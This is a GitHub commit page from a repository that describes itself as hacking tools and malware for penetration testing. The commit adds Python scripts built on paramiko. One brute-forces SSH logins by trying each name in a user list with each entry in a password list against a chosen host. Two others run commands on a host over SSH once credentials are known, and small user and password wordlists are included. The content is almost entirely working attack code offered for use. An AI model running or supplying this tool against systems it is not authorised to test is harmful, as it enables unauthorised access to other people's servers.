Skip to content

This Repository is a collection of different ethical hacking tools and malware's for penetration testing and research purpose written in python, ruby, rust, c++, go and c.

Add files via upload

Abdul Wahab Junaidca7733f63715
diff --git a/Python Tools/SSH/SSH brute force/SSH_command_transport.py b/Python Tools/SSH/SSH brute force/SSH_command_transport.py
new file mode 100644
index 0000000..ad15bd8
--- /dev/null
+++ b/Python Tools/SSH/SSH brute force/SSH_command_transport.py
@@ -0,0 +1,31 @@
+#!/usr/bin/env python3
+
+import paramiko
+import getpass
+
+def run_ssh_command(hostname, user, passwd, command):
+ transport = paramiko.Transport(hostname)
+ try:
+ transport.start_client()
+ except Exception as e:
+ print(e)
+
+ try:
+ transport.auth_password(username=user,password=passwd)
+ except Exception as e:
+ print(e)
+
+ if transport.is_authenticated():
+ print(transport.getpeername())
+ channel = transport.open_session()
+ channel.exec_command(command)
+ response = channel.recv(1024)
+ print('Command %r(%r)-->%s' % (command,user,response))
+
+if __name__ == '__main__':
+ hostname = input("Enter the target hostname: ")
+ port = input("Enter the target port: ")
+ username = input("Enter username: ")
+ password = getpass.getpass(prompt="Enter password: ")
+ command = input("Enter command: ")
+ run_ssh_command(hostname,username, password, command)
diff --git a/Python Tools/SSH/SSH brute force/passwords.txt b/Python Tools/SSH/SSH brute force/passwords.txt
new file mode 100644
index 0000000..6d9f93a
--- /dev/null
+++ b/Python Tools/SSH/SSH brute force/passwords.txt
@@ -0,0 +1,2 @@
+password1
+linux
diff --git a/Python Tools/SSH/SSH brute force/ssh_brute_force.py b/Python Tools/SSH/SSH brute force/ssh_brute_force.py
new file mode 100644
index 0000000..2fb4d34
--- /dev/null
+++ b/Python Tools/SSH/SSH brute force/ssh_brute_force.py
@@ -0,0 +1,35 @@
+import paramiko
+import socket
+import time
+
+def brute_force_ssh(hostname,port,user,password):
+ log = paramiko.util.log_to_file('log.log')
+ ssh_client = paramiko.SSHClient()
+ ssh_client.load_system_host_keys()
+ ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
+ try:
+ print('Testing credentials {}:{}'.format(user,password))
+ ssh_client.connect(hostname,port=port,username=user,password=password, timeout=5)
+ print('credentials ok {}:{}'.format(user,password))
+ except paramiko.AuthenticationException as exception:
+ print('AuthenticationException:',exception)
+ except socket.error as error:
+ print('SocketError:',error)
+
+
+def main():
+ hostname = input("Enter the target hostname: ")
+ port = input("Enter the target port: ")
+ users = open('users.txt','r')
+ users = users.readlines()
+ passwords = open('passwords.txt','r')
+ passwords = passwords.readlines()
+
+ for user in users:
+ for password in passwords:
+ time.sleep(3)
+ brute_force_ssh(hostname,port,user.rstrip(),password.rstrip())
+
+
+if __name__ == '__main__':
+ main()
diff --git a/Python Tools/SSH/SSH brute force/ssh_execute_command.py b/Python Tools/SSH/SSH brute force/ssh_execute_command.py
new file mode 100644
index 0000000..32b549a
--- /dev/null
+++ b/Python Tools/SSH/SSH brute force/ssh_execute_command.py
@@ -0,0 +1,26 @@
+#!/usr/bin/env python3
+
+import getpass
+import paramiko
+
+HOSTNAME = 'localhost'
+PORT = 22
+
+def run_ssh_cmd(username, password, command, hostname=HOSTNAME,port=PORT):
+ ssh_client = paramiko.SSHClient()
+ ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
+ ssh_client.load_system_host_keys()
+ ssh_client.connect(hostname, port, username, password)
+ stdin, stdout, stderr = ssh_client.exec_command(command)
+ #print(stdout.read())
+ stdin.close()
+ for line in stdout.read().splitlines():
+ print(line.decode())
+
+if __name__ == '__main__':
+ hostname = input("Enter the target hostname: ")
+ port = input("Enter the target port: ")
+ username = input("Enter username: ")
+ password = getpass.getpass(prompt="Enter password: ")
+ command = input("Enter command: ")
+ run_ssh_cmd(username, password, command)
diff --git a/Python Tools/SSH/SSH brute force/users.txt b/Python Tools/SSH/SSH brute force/users.txt
new file mode 100644
index 0000000..9d8148c
--- /dev/null
+++ b/Python Tools/SSH/SSH brute force/users.txt
@@ -0,0 +1,2 @@
+user1
+linux